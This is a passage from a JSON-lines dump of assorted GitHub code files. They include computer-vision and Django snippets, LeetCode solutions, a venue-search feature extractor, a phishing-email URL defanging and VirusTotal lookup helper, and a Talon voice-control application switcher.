plt.close()\n\n\nparser = argparse.ArgumentParser(description='evaluate_model')\nparser.add_argument('--gpu_id', default=\"1,2\", type=str)\nparser.add_argument('--model_folder', default='models/finalbn_alittleaug_iou_3_00', type=str,\n                    help='Folder where models are saved.')\nparser.add_argument('--data_folder', default='data/interim/dev_centertiles_512', type=str,\n                    help='Folder of evaluation data.')\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n    main(args.gpu_id, args.model_folder, args.data_folder)\n","repo_name":"eschlager/UNet-Drilling","sub_path":"evaluate/evaluate_cv.py","file_name":"evaluate_cv.py","file_ext":"py","file_size_in_byte":10126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13283317032","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nfrom ajax_select import urls as ajax_select_urls\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n    # Examples:\n    url(r'^$', \"blog.views.main\"),\n    url(r'^post/(?P<slug>[a-zA-Z\\d_\\-]+)/$', 'blog.views.post'),\n    # url(r'^theme', 'blog.views.theme'),\n    url(r'^theme/(?P<theme_id>[\\d]+)$', 'blog.views.individual_theme'),\n    url(r'^contributor/(?P<author_id>[\\d]+)$', 'blog.views.contributor_page'), \n    url(r'^category/(?P<category_id>[\\d]+)$', 'blog.views.view_category'),\n    url(r'^about', 'blog.views.about'),      \n    url(r'^archives/$|^writing/$|^art/$|^multimedia/$', 'blog.views.sections'),\n    url(r'^select2/', include('select2.urls')),\n    # url(r'^writing', 'blog.views.writing'),\n    # url(r'^multimedia', 'blog.views.multimedia'),\n    # url(r'^themes', 'blog.views.themes')\n)","repo_name":"sammysignal/advo-sammy","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16986427427","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb  3 01:32:57 2020\n@author: ebrahim\n\"\"\"\n\nimport cv2\nimport numpy as np\n\n# Returns the intersection point of two lines\ndef get_intersections(line_a, line_b):\n\n    rho1, theta1 = line_a[0]\n    rho2, theta2 = line_b[0]\n    A = np.array([\n        [np.cos(theta1), np.sin(theta1)],\n        [np.cos(theta2), np.sin(theta2)]\n    ])\n    b = np.array([[rho1], [rho2]])\n    x0, y0 = np.linalg.solve(A, b)\n    x0, y0 = int(np.round(x0)), int(np.round(y0))\n\n    return [ x0, y0 ]\n\nvid = cv2.VideoCapture('Movie1.MOV')    # Read Video file\nsuccess, img = vid.read()   # Read video frame, return true if successful\nframe_num = 0\n\nwhile success:\n    success, img = vid.read()\n    if frame_num % 30 == 0:     # Process every 30th video frame\n        vert_lines = []\n        hor_lines = []\n\n        size = img.shape\n        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n        edges = cv2.Canny(gray, 100, 300)  # The parameters are the thresholds for Canny\n        lines = cv2.HoughLines(edges, 0.5, 0.01, 200)  # The parameters are accuracies and threshold\n\n        # Exception handling for images with no lines\n        try:\n            num = len(lines)\n        except TypeError:\n            continue\n\n        for n in range(num):    # Convert polar lines to cartesian\n            rho, theta = lines[n][0]\n            a = np.cos(theta)\n            b = np.sin(theta)\n            x0 = a * rho\n            y0 = b * rho\n            x1 = int(x0 + size[1] * (-b))\n            y1 = int(y0 + size[0] * (a))\n            x2 = int(x0 - size[1] * (-b))\n            y2 = int(y0 - size[0] * (a))\n\n            if 1.2 <= theta <= 1.9:     # Separate horizontal and vertical lines\n                cv2.line(img, (x1, y1), (x2, y2), (0, 0, 255), 2)\n                vert_lines.append(lines[n])\n\n            else:\n                cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2)\n                hor_lines.append(lines[n])\n\n            # Loop over all of the lines, marking intersection points\n            for i in range(len(vert_lines)):\n                for j in range(len(hor_lines)):\n                    line1 = vert_lines[i]\n                    line2 = hor_lines[j]\n                    x, y = get_intersections(line1, line2) # Returns the point of intersection\n                    cv2.circle(img, (x, y), 8, (0, 0, 0), thickness=-1)\n\n        cv2.imshow('Image', img)\n        cv2.waitKey(0)\n    frame_num += 1\n","repo_name":"markhickey/ComputerVision","sub_path":"Lab 1/Lab1.py","file_name":"Lab1.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11022369252","text":"from collections import defaultdict, Counter\nfrom functools import cache\nimport math\n\n# See https://leetcode.com/submissions/detail/760266018/\n\nmodulus = 1000000007\n\n######################################\n# This section is about implementing\n# nChooseK\ndef subtractRange(r:range, s:range):\n    if s.start <= r.start:\n        start = s.stop\n    else:\n        start = r.start\n    if r.stop <= s.stop:\n        stop = s.start\n    else:\n        stop = r.stop\n    return range(start, stop)\n\ndef removeRangeOverlaps(r1:range, r2:range):\n    if r1.start >= r2.stop:\n        return r1, r2\n    if r2.start >= r1.stop:\n        return r1, r2\n    overlap = range(max(r1.start, r2.start), min(r1.stop, r2.stop))\n    return subtractRange(r1, overlap), subtractRange(r2, overlap)\n    \n# I have a stack of n cards, I can choose k of them\n@cache\ndef nChooseK(n, k):\n    # (n!)/(n-k)!(k)!\n    multipliers = range(max(n-k+1, 1), n+1)\n    divisors = range(1, k+1)\n\n    multipliers, divisors = removeRangeOverlaps(multipliers, divisors)\n    return math.prod(multipliers)//math.prod(divisors)\n\n\n###########################################################\n# These three methods are about generating the patterns\n#\ndef getPrimes(maxValue):\n    sieve = [False] * (maxValue + 1)\n    for i in range(2, len(sieve)):\n        if not(sieve[i]):\n            yield i\n        for j in range(i+i, len(sieve), i):\n            sieve[j] = True\n\ndef enumerateAllPatterns(primes, upToPrimeIndex, numberRemaining):\n    if upToPrimeIndex > 0:\n        for i in range(upToPrimeIndex):\n            p = primes[i]\n            if p > numberRemaining:\n                break\n            exp = 1\n            while p**exp <= numberRemaining:\n                yield (exp,)\n                for pattern in enumerateAllPatterns(primes, i, numberRemaining//(p**exp)):\n                    yield pattern + (exp,)\n                exp += 1\n\ndef generatePatternCounts(maxValue):\n    primes = list(getPrimes(maxValue))\n    d = defaultdict(lambda:0)\n    c = 0\n    for p in enumerateAllPatterns(primes, len(primes), maxValue):\n        s = tuple(sorted(p))\n        d[s] = d[s] + 1\n        c += 1\n    d[tuple()] = 1\n    return d\n\n\ndef performTheCalculation(pattern, required_length):\n    return math.prod(nChooseK(required_length + ct - 1, ct) for ct in pattern)\n\nclass Solution:\n    def idealArrays(self, n: int, maxValue: int) -> int:\n        patternCounts = generatePatternCounts(maxValue)\n        finalSum = 0\n        for pattern, count in patternCounts.items():\n            finalSum = (finalSum + performTheCalculation(pattern, n) * count) % modulus\n        return finalSum\n\n","repo_name":"AndrewShepherd/leetcode-python","sub_path":"count-the-number-of-ideal-arrays/count_the_number_of_ideal_arrays.py","file_name":"count_the_number_of_ideal_arrays.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"226269452","text":"import base64\nimport datetime\nimport email\nimport json\nimport os\nimport re\nimport subprocess\nfrom virus_total_apis import PublicApi as vtapi\nfrom virus_total_apis import PrivateApi as vtapi_priv\n\nimport eml_parser\n\ncwd = os.getcwd()\n\nAPI_KEY = 'Sign-Up for API Key at virustotal.com'\n\nPUBLICAPI=True\n\ntry:\n    API_KEY = os.environ[\"VT_API_KEY\"]\nexcept Exception as apikeyproblem:\n    pass\n\ntry:\n    API_KEY = os.environ[\"VT_PRIV_API_KEY\"]\n    PUBLICAPI=False\nexcept Exception as apikeyproblem:\n    pass\n\nwith open(\"URL_WHITELIST.txt\",\"r\") as f:\n    whitelist = [line.rstrip('\\n') for line in f]\n\n\ndef get_urls(body):\n    regexstr = r\"https?://(?:[-\\w.]|(?:%[\\da-fA-F]{2}))+\"\n    urls = re.findall(regexstr, body)\n    defanged = []\n    for url in urls:\n        if url not in whitelist:\n            defanged.append(url.replace(\"https://\",\"hxxps://\").replace(\"http://\",\"hxxp://\"))\n    defanged = set(defanged)\n    return defanged\n\ndef get_vt_url_score(url):\n    if(API_KEY == 'Sign-Up for API Key at virustotal.com'):\n        return \"No API Key Specified.  Specify as environment variable \\\"VT_API_KEY\\\" when running dockerfile\"\n    else:\n        retstr = \"\"\n        vt = vtapi(API_KEY)\n        response = vt.get_url_report(url)\n        results = json.dumps(response)\n        if(response['results']['response_code']==1):\n            retstr+=\"\"+str(response['results']['positives'])+\"/\"+str(response['results']['total'])+\\\n            \" engines on VirusTotal have detected this.\"\n        else:\n            retstr+=str(\"error\")\n        #return json.dumps(response, sort_keys=False)\n        return retstr\n\n\ndef json_serial(obj):\n    if isinstance(obj, datetime.datetime):\n        serial = obj.isoformat()\n        return serial\n\n\ndef dumpemail(eml):\n    with open(eml, 'rb') as fhdl:\n        raw_email = fhdl.read()\n\n    with open(eml, 'r', encoding=\"utf-8\") as fhdl:\n        emldump = fhdl.read()\n\n    parsed_eml = eml_parser.eml_parser.decode_email_b(raw_email)\n\n    subj = parsed_eml.get(\"header\").get(\"subject\")\n    subj = str(subj)\n    frm = parsed_eml.get(\"header\").get(\"from\")\n    frm = str(frm)\n    to = parsed_eml.get(\"header\").get(\"to\")\n    to = str(to)\n    rcvd = parsed_eml.get(\"header\").get(\"received\")[len(parsed_eml.get(\"header\").get(\"received\"))-1]\n    rcvd = str(rcvd)\n\n    b = email.message_from_string(emldump)\n    ploads = []\n    if b.is_multipart():\n        for payload in b.get_payload():\n            #if payload.is_multipart():\n            p = str(payload.get_payload()).replace(\"\\n\",\"\").rstrip()\n            try:\n                p = base64.b64decode(p)\n            except Exception as problem:\n                p=\"could not decode: \"+ str(problem)\n            ploads.append(p)\n    else:\n        p = str(b.get_payload()).replace(\"\\n\",\"\").rstrip()\n        try:\n                p = p = base64.b64decode(p)\n        except Exception as problem:\n            p=\"could not decode: \"+ str(problem)\n        ploads.append(p)\n\n    urls = get_urls(str(ploads))\n    urltable = \"\"\n    if(len(urls)>0):\n        #urls = str(urls)\n        urltable+=\"<table>\"\n        urltable+=\"<tr>\"\n        urltable+=\"<td>Defanged URL</td>\"\n        urltable+=\"<td>VT Score</td>\"\n        urltable+=\"</tr>\"\n        for url in urls:\n            urltable+=\"<tr>\"\n            urltable+=\"<td>\"+str(url)+\"</td>\"\n            if(len(urls)<=4 or PUBLICAPI is False):\n                urltable+=\"<td>\"+str(get_vt_url_score(url))+\"</td>\"\n            else:\n                urltable+=\"<td>Public API only allows for 4 requests per minute</td>\"\n            urltable+=\"</tr>\"\n        urltable+=\"</table>\"\n    else:\n        #urls=\"None found.\"\n        urltable=\"None found.\"\n\n    details = \"<table class='table'>\"\n\n    details+=\"<tr>\"\n    details+=\"<td>Subject</td>\"\n    details+=\"<td>\"+subj+\"</td>\"\n    details+=\"</tr>\"\n\n    details+=\"<tr>\"\n    details+=\"<td>From</td>\"\n    details+=\"<td>\"+frm+\"</td>\"\n    details+=\"</tr>\"\n\n    details+=\"<tr>\"\n    details+=\"<td>To</td>\"\n    details+=\"<td>\"+to+\"</td>\"\n    details+=\"</tr>\"\n\n    details+=\"<tr>\"\n    details+=\"<td>Sender Information (from 'Received' Headers)</td>\"\n    details+=\"<td><code>\"+rcvd+\"</code></td>\"\n    details+=\"</tr>\"\n\n    details+=\"<tr>\"\n    details+=\"<td>URLs</td>\"\n    details+=\"<td>\"+urltable+\"</td>\"\n    details+=\"</tr>\"\n    \n    details+=\"</table>\"\n\n    return details\n","repo_name":"s3cpat/phishing-boat","sub_path":"src/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21031950616","text":"'''\nCreated on May 14, 2014\n\n@author: aclevine\n\nfeature extractor to determine if we should return a venue\nhave:\n    -venue name\n    -utterance\n    -json returned by 4square\n\nfor each venue, want\n    -how many other venues were returned?\n    -does venue name match name in utterance? (account for fuzzy search)\n    -does locational data in utterance match any data in location or name for \n'''\n#===============================================================================\nimport json\nimport math\nimport re\nfrom string import punctuation\nfrom subprocess import check_call\n#===============================================================================\n\n\nstopwords = set(['i', 'me', 'my', 'myself', 'we', 'our', 'ours', 'ourselves',\n                'you', 'your', 'yours', 'yourself', 'yourselves', 'he', 'him',\n                'his', 'himself', 'she', 'her', 'hers', 'herself', 'it', 'its',\n                'itself', 'they', 'them', 'their', 'theirs', 'themselves',\n                'what', 'which', 'who', 'whom', 'this', 'that', 'these', 'those',\n                'am', 'is', 'are', 'was', 'were', 'be', 'been', 'being', 'have',\n                'has', 'had', 'having', 'do', 'does', 'did', 'doing', 'a', 'an',\n                'the', 'and', 'but', 'if', 'or', 'because', 'as', 'until',\n                'while', 'of', 'at', 'by', 'for', 'with', 'about', 'against',\n                'between', 'into', 'through', 'during', 'before', 'after', 'above',\n                'below', 'to', 'from', 'up', 'down', 'in', 'out', 'on', 'off',\n                'over', 'under', 'again', 'further', 'then', 'once', 'here',\n                'there', 'when', 'where', 'why', 'how', 'all', 'any', 'both',\n                'each', 'few', 'more', 'most', 'other', 'some', 'such', 'no',\n                'nor', 'not', 'only', 'own', 'same', 'so', 'than', 'too',\n                'very', 's', 't', 'can', 'will', 'just', 'don', 'should', 'now'])\n\n#===============================================================================\n# TARGET\ndef classifiable(venue):\n    try:\n        if venue['correct']:\n            return '+1'\n        else:\n            return '-1'\n    except:\n        return '-1'\n#===============================================================================    \n# FEATURES\ndef result_count(search_result):\n    '''how many results did we get back from 4square?'''\n    return search_result['response']['count']\n    \ndef name_exact_match(venue_name, venue):\n    if venue_name.lower() == venue['name'].lower(): #fairly brittle\n        return 1\n    else:\n        return 0\n\ndef name_token_match(venue_name, venue):\n    '''how many tokens in venue name are also in result?\n    not weighting this by length right now, but may be worth a look'''\n    user_name_tokens = [v for v in venue_name.split() if v not in stopwords]\n    search_name_tokens = [v for v in venue['name'].split() if v not in stopwords]\n    \n    return len([t for t in user_name_tokens if t in search_name_tokens])\n\n\ndef location_token_match(utterance, venue):\n    '''how many tokens in utterance are also in venue location?\n    not weighting this by length right now, but may be worth a look'''\n    #clean location data\n    loc_string = ' '.join([s for s in venue['location'].values() if type(s) == 'unicode']).lower()  + venue['name'].lower() # remove lat long data\n\n    loc_tokens = set([t for t in loc_string.split() if t not in stopwords])\n    #clean utterance\n    ut = re.sub('\\|venue', '', utterance)\n    for p in punctuation:\n        ut = re.sub( '\\\\' + p, '', ut).lower()\n    ut_tokens = set([t for t in ut.split() if t not in stopwords])\n    \n    return len([t for t in ut_tokens if t in loc_tokens])\n\n\ndef lat_long_dist(lat, long, venue):\n    '''4square provides specific gps location data for each venue'''\n    location = venue['location']\n    x = lat - location['lat']\n    y = long - location['lng']\n    return math.sqrt( x * x + y * y) #euclidean distance between provided location and venue\n\n\ndef is_first_result(venue, venue_list):\n    '''is returned item top result?'''\n    if venue == venue_list[0]:\n        return 1\n    else:\n        return 0\n\n# should use search results to build backwards index, be able to classify type based on terms\nfoodwords = set(['dinner', 'lunch', 'eat', 'breakfast', 'bite', 'reservation',\n                 'burger', 'mexican', 'try'])\n\ndef food_venue(utterance):\n    ut = re.sub('\\|venue', '', utterance)\n    for p in punctuation:\n        ut = re.sub( '\\\\' + p, '', ut).lower()\n    ut_tokens = set([t for t in ut.split() if t not in stopwords]) \n    \n    if len(ut_tokens & foodwords) != 0:\n        return 'Restaurant'\n    else:\n        return ''\n    \ndef is_type(venue, venue_type):\n    if venue.has_key('primaryCategory' ) and venue_type in venue['primaryCategory']['name'].split():\n        return 1\n    else:\n        return 0\n#===============================================================================\n# FULL FEATURE EXTRACTOR\ndef build_features(inpath, outpath):\n    '''load test data, extract desired feature sets,\n    export to test file'''\n    test = json.load(open(inpath, 'r'))\n    f = open(outpath, 'w')\n    f.write('')\n    f = open(outpath, 'a')\n\n    for key in test.keys():\n        #load available data\n        data = test[key]\n        #print key\n        venue_name = data[\"venueName\"]\n        utterance = data[\"sent\"]\n        search_result = data[\"html\"]\n        #pull features\n        venue_list = search_result['response']['venues']        \n        i = 1\n        for venue in venue_list:\n            features = []\n            features.append(classifiable(venue))\n            features.append('1:' + str(- result_count(search_result)))\n            if result_count(search_result) != 0:\n                features.append('2:' + str(name_exact_match(venue_name, venue)))    \n                features.append('3:' + str(name_token_match(venue_name, venue)))   \n                features.append('4:' + str(location_token_match(utterance, venue)))\n                features.append('5:' + str(is_type(venue, 'Restaurant'))) #weight specific venue (Restaurants, etc.) more than others\n                \n                features.append('6:' + str(is_first_result(venue, venue_list))) #weigh top result heavily\n                features.append('7:' + str(i)) #weight later results less and less\n\n                i += 1\n            f.write(' '.join(features) + \"|\\t|\" + venue_name + '\\n')\n\n\nif __name__ == \"__main__\":\n    #test: feature extraction working?\n    build_features('../data/test.json', '../search_testing.json')","repo_name":"aclevine/combo_classifier","sub_path":"search/searchhelper.py","file_name":"searchhelper.py","file_ext":"py","file_size_in_byte":6517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41689862292","text":"\"\"\"\n2623. 음악 프로그램\n** topological sort\n\"\"\"\nimport sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\nincoming = [0] * (n + 1)  # 진입차수\ndest = [[] for _ in range(n + 1)]  # 그래프\nfor _ in range(m):\n    links = list(map(int, input().split()))[1:]\n    for i in range(len(links)):\n        if i > 0:\n            incoming[links[i]] += 1\n        if i < len(links) - 1:\n            dest[links[i]].append(links[i + 1])\n\nqueue = deque()\n# source 찾아서 enqueue\nfor node in range(1, n + 1):\n    if incoming[node] == 0:\n        queue.append(node)\n\npath = []\n# t-s\nwhile queue:\n    cur = queue.popleft()\n    path.append(cur)\n\n    for nxt in dest[cur]:\n        if nxt in path: continue  # 사이클 방지\n        incoming[nxt] -= 1\n        if incoming[nxt] == 0:\n            queue.append(nxt)\n\nif len(path) < n:\n    print(0)\nelse:\n    print(*path, sep='\\n')\n","repo_name":"dldbdud314/PS","sub_path":"백준/2623.py","file_name":"2623.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15387063815","text":"class Solution:\n    def removeKdigits(self, num: str, k: int) -> str:\n        if len(num) == k:\n            return str(0)\n        stack = []\n        for i in num:\n            while len(stack) > 0 and k > 0 and int(i) < stack[-1]:\n                stack.pop()\n                k -= 1\n            stack.append(int(i))\n\n        while stack and k > 0:\n            stack.pop()\n            k -= 1\n\n        while len(stack) > 1 and stack[0] == 0:\n            stack.pop(0)\n\n        result = \"\"\n        for n in stack:\n            result += str(n)\n\n        return result\n\n","repo_name":"birehan/Competitive-Programming","sub_path":"402. Remove K Digits/402. Remove K Digits.py","file_name":"402. Remove K Digits.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"30936713533","text":"from correlation_app import views as correlation_views\nfrom django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nrouter = DefaultRouter()\nrouter.register(\n    r'simple_correlation',\n    correlation_views.SimpleCorrelationResultView,\n    basename='simple_correlation'\n)\nrouter.register(\n    r'image_correlation',\n    correlation_views.ImageCorrelationResultView,\n    basename='image_correlation'\n)\n\nurlpatterns = [\n    path(r'', include(router.urls)),\n]\n","repo_name":"yurymarozau/dsp","sub_path":"services/backend/src/correlation_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21016114588","text":"import os\nimport shlex\nimport subprocess\nimport time\nfrom pathlib import Path\n\nimport talon\nfrom talon import Context, Module, actions, app, fs, imgui, ui\n\n# Construct at startup a list of overides for application names (similar to how homophone list is managed)\n# ie for a given talon recognition word set  `one note`, recognized this in these switcher functions as `ONENOTE`\n# the list is a comma seperated `<Recognized Words>, <Overide>`\n# TODO: Consider put list csv's (homophones.csv, app_name_overrides.csv) files together in a seperate directory,`community/lists`\noverrides_directory = os.path.dirname(os.path.realpath(__file__))\noverride_file_name = f\"app_name_overrides.{talon.app.platform}.csv\"\noverride_file_path = os.path.join(overrides_directory, override_file_name)\n\nmod = Module()\nmod.list(\"running\", desc=\"all running applications\")\nmod.list(\"launch\", desc=\"all launchable applications\")\nctx = Context()\n\n# a list of the current overrides\noverrides = {}\n\n# a list of the currently running application names\nrunning_application_dict = {}\n\n\nmac_application_directories = [\n    \"/Applications\",\n    \"/Applications/Utilities\",\n    \"/System/Applications\",\n    \"/System/Applications/Utilities\",\n]\n\nlinux_application_directories = [\n    \"/usr/share/applications\",\n    \"/usr/local/share/applications\",\n    os.path.expandvars(\"/home/$USER/.local/share/applications\"),\n    \"/var/lib/flatpak/exports/share/applications\",\n    \"/var/lib/snapd/desktop/applications\",\n]\n\nwords_to_exclude = [\n    \"zero\",\n    \"one\",\n    \"two\",\n    \"three\",\n    \"for\",\n    \"four\",\n    \"five\",\n    \"six\",\n    \"seven\",\n    \"eight\",\n    \"nine\",\n    \"and\",\n    \"dot\",\n    \"exe\",\n    \"help\",\n    \"install\",\n    \"installer\",\n    \"microsoft\",\n    \"nine\",\n    \"readme\",\n    \"studio\",\n    \"terminal\",\n    \"visual\",\n    \"windows\",\n]\n\n# on Windows, WindowsApps are not like normal applications, so\n# we use the shell:AppsFolder to populate the list of applications\n# rather than via e.g. the start menu. This way, all apps, including \"modern\" apps are\n# launchable. To easily retrieve the apps this makes available, navigate to shell:AppsFolder in Explorer\nif app.platform == \"windows\":\n    import ctypes\n    import os\n\n    import pywintypes\n\n    try:\n        pass\n    except ImportError:\n        # Python 2\n        pass\n\n        bytes = lambda x: str(buffer(x))\n\n    from ctypes import wintypes\n\n    from win32com.propsys import propsys, pscon\n    from win32com.shell import shell, shellcon\n\n    # KNOWNFOLDERID\n    # https://msdn.microsoft.com/en-us/library/dd378457\n    # win32com defines most of these, except the ones added in Windows 8.\n    FOLDERID_AppsFolder = pywintypes.IID(\"{1e87508d-89c2-42f0-8a7e-645a0f50ca58}\")\n\n    # win32com is missing SHGetKnownFolderIDList, so use ctypes.\n\n    _ole32 = ctypes.OleDLL(\"ole32\")\n    _shell32 = ctypes.OleDLL(\"shell32\")\n\n    _REFKNOWNFOLDERID = ctypes.c_char_p\n    _PPITEMIDLIST = ctypes.POINTER(ctypes.c_void_p)\n\n    _ole32.CoTaskMemFree.restype = None\n    _ole32.CoTaskMemFree.argtypes = (wintypes.LPVOID,)\n\n    _shell32.SHGetKnownFolderIDList.argtypes = (\n        _REFKNOWNFOLDERID,  # rfid\n        wintypes.DWORD,  # dwFlags\n        wintypes.HANDLE,  # hToken\n        _PPITEMIDLIST,\n    )  # ppidl\n\n    def get_known_folder_id_list(folder_id, htoken=None):\n        if isinstance(folder_id, pywintypes.IIDType):\n            folder_id = bytes(folder_id)\n        pidl = ctypes.c_void_p()\n        try:\n            _shell32.SHGetKnownFolderIDList(folder_id, 0, htoken, ctypes.byref(pidl))\n            return shell.AddressAsPIDL(pidl.value)\n        except OSError as e:\n            if e.winerror & 0x80070000 == 0x80070000:\n                # It's a WinAPI error, so re-raise it, letting Python\n                # raise a specific exception such as FileNotFoundError.\n                raise ctypes.WinError(e.winerror & 0x0000FFFF)\n            raise\n        finally:\n            if pidl:\n                _ole32.CoTaskMemFree(pidl)\n\n    def enum_known_folder(folder_id, htoken=None):\n        id_list = get_known_folder_id_list(folder_id, htoken)\n        folder_shell_item = shell.SHCreateShellItem(None, None, id_list)\n        items_enum = folder_shell_item.BindToHandler(\n            None, shell.BHID_EnumItems, shell.IID_IEnumShellItems\n        )\n        yield from items_enum\n\n    def list_known_folder(folder_id, htoken=None):\n        result = []\n        for item in enum_known_folder(folder_id, htoken):\n            result.append(item.GetDisplayName(shellcon.SIGDN_NORMALDISPLAY))\n        result.sort(key=lambda x: x.upper())\n        return result\n\n    def get_windows_apps():\n        items = {}\n        for item in enum_known_folder(FOLDERID_AppsFolder):\n            try:\n                property_store = item.BindToHandler(\n                    None, shell.BHID_PropertyStore, propsys.IID_IPropertyStore\n                )\n                app_user_model_id = property_store.GetValue(\n                    pscon.PKEY_AppUserModel_ID\n                ).ToString()\n\n            except pywintypes.error:\n                continue\n\n            name = item.GetDisplayName(shellcon.SIGDN_NORMALDISPLAY)\n\n            # exclude anything with install/uninstall...\n            # 'cause I don't think we don't want 'em\n            if \"install\" not in name.lower():\n                items[name] = app_user_model_id\n\n        return items\n\n\nif app.platform == \"linux\":\n    import configparser\n    import re\n\n    def get_linux_apps():\n        # app shortcuts in program menu are contained in .desktop files. This function parses those files for the app name and command\n        items = {}\n        # find field codes in exec key with regex\n        # https://specifications.freedesktop.org/desktop-entry-spec/desktop-entry-spec-latest.html#exec-variables\n        args_pattern = re.compile(r\" \\%[UufFcik]\")\n        for base in linux_application_directories:\n            if os.path.isdir(base):\n                for entry in os.scandir(base):\n                    if entry.name.endswith(\".desktop\"):\n                        try:\n                            config = configparser.ConfigParser(interpolation=None)\n                            config.read(entry.path)\n                            # only parse shortcuts that are not hidden\n                            if config.has_option(\"Desktop Entry\", \"NoDisplay\") == False:\n                                name_key = config[\"Desktop Entry\"][\"Name\"]\n                                exec_key = config[\"Desktop Entry\"][\"Exec\"]\n                                # remove extra quotes from exec\n                                if exec_key[0] == '\"' and exec_key[-1] == '\"':\n                                    exec_key = re.sub('\"', \"\", exec_key)\n                                # remove field codes and add full path if necessary\n                                if exec_key[0] == \"/\":\n                                    items[name_key] = re.sub(args_pattern, \"\", exec_key)\n                                else:\n                                    items[name_key] = \"/usr/bin/\" + re.sub(\n                                        args_pattern, \"\", exec_key\n                                    )\n                        except:\n                            print(\n                                \"get_linux_apps: skipped parsing application file \",\n                                entry.name,\n                            )\n        return items\n\n\n@mod.capture(rule=\"{self.running}\")  # | <user.text>)\")\ndef running_applications(m) -> str:\n    \"Returns a single application name\"\n    try:\n        return m.running\n    except AttributeError:\n        return m.text\n\n\n@mod.capture(rule=\"{self.launch}\")\ndef launch_applications(m) -> str:\n    \"Returns a single application name\"\n    return m.launch\n\n\ndef update_running_list():\n    global running_application_dict\n    running_application_dict = {}\n    running = {}\n    for cur_app in ui.apps(background=False):\n        running_application_dict[cur_app.name] = True\n\n        if app.platform == \"windows\":\n            # print(\"hit....\")\n            # print(cur_app.exe)\n            running_application_dict[cur_app.exe.split(os.path.sep)[-1]] = True\n\n    running = actions.user.create_spoken_forms_from_list(\n        [curr_app.name for curr_app in ui.apps(background=False)],\n        words_to_exclude=words_to_exclude,\n        generate_subsequences=True,\n    )\n\n    # print(str(running_application_dict))\n    # todo: should the overrides remove the other spoken forms for an application?\n    for override in overrides:\n        if overrides[override] in running_application_dict:\n            running[override] = overrides[override]\n\n    lists = {\n        \"self.running\": running,\n    }\n\n    # batch update lists\n    ctx.lists.update(lists)\n\n\ndef update_overrides(name, flags):\n    \"\"\"Updates the overrides list\"\"\"\n    global overrides\n    overrides = {}\n\n    if name is None or name == override_file_path:\n        # print(\"update_overrides\")\n        with open(override_file_path) as f:\n            for line in f:\n                line = line.rstrip()\n                line = line.split(\",\")\n                if len(line) == 2:\n                    overrides[line[0].lower()] = line[1].strip()\n\n        update_running_list()\n\n\n@mod.action_class\nclass Actions:\n    def get_running_app(name: str) -> ui.App:\n        \"\"\"Get the first available running app with `name`.\"\"\"\n        # We should use the capture result directly if it's already in the list\n        # of running applications. Otherwise, name is from <user.text> and we\n        # can be a bit fuzzier\n        if name not in running_application_dict:\n            if len(name) < 3:\n                raise RuntimeError(\n                    f'Skipped getting app: \"{name}\" has less than 3 chars.'\n                )\n            for running_name, full_application_name in ctx.lists[\n                \"self.running\"\n            ].items():\n                if running_name == name or running_name.lower().startswith(\n                    name.lower()\n                ):\n                    name = full_application_name\n                    break\n        for application in ui.apps(background=False):\n            if application.name == name or (\n                app.platform == \"windows\"\n                and application.exe.split(os.path.sep)[-1] == name\n            ):\n                return application\n        raise RuntimeError(f'App not running: \"{name}\"')\n\n    def switcher_focus(name: str):\n        \"\"\"Focus a new application by name\"\"\"\n        app = actions.user.get_running_app(name)\n\n        # Focus next window on same app\n        if app == ui.active_app():\n            actions.app.window_next()\n        # Focus new app\n        else:\n            actions.user.switcher_focus_app(app)\n\n    def switcher_focus_app(app: ui.App):\n        \"\"\"Focus application and wait until switch is made\"\"\"\n        app.focus()\n        t1 = time.perf_counter()\n        while ui.active_app() != app:\n            if time.perf_counter() - t1 > 1:\n                raise RuntimeError(f\"Can't focus app: {app.name}\")\n            actions.sleep(0.1)\n\n    def switcher_focus_window(window: ui.Window):\n        \"\"\"Focus window and wait until switch is made\"\"\"\n        window.focus()\n        t1 = time.perf_counter()\n        while ui.active_window() != window:\n            if time.perf_counter() - t1 > 1:\n                raise RuntimeError(f\"Can't focus window: {window.title}\")\n            actions.sleep(0.1)\n\n    def switcher_launch(path: str):\n        \"\"\"Launch a new application by path (all OSes), or AppUserModel_ID path on Windows\"\"\"\n        if app.platform == \"mac\":\n            ui.launch(path=path)\n        elif app.platform == \"linux\":\n            # Could potentially be merged with OSX code. Done in this explicit\n            # way for expediency around the 0.4 release.\n            cmd = shlex.split(path)[0]\n            args = shlex.split(path)[1:]\n            ui.launch(path=cmd, args=args)\n        elif app.platform == \"windows\":\n            is_valid_path = False\n            try:\n                current_path = Path(path)\n                is_valid_path = current_path.is_file()\n            except:\n                is_valid_path = False\n            if is_valid_path:\n                ui.launch(path=path)\n            else:\n                cmd = f\"explorer.exe shell:AppsFolder\\\\{path}\"\n                subprocess.Popen(cmd, shell=False)\n        else:\n            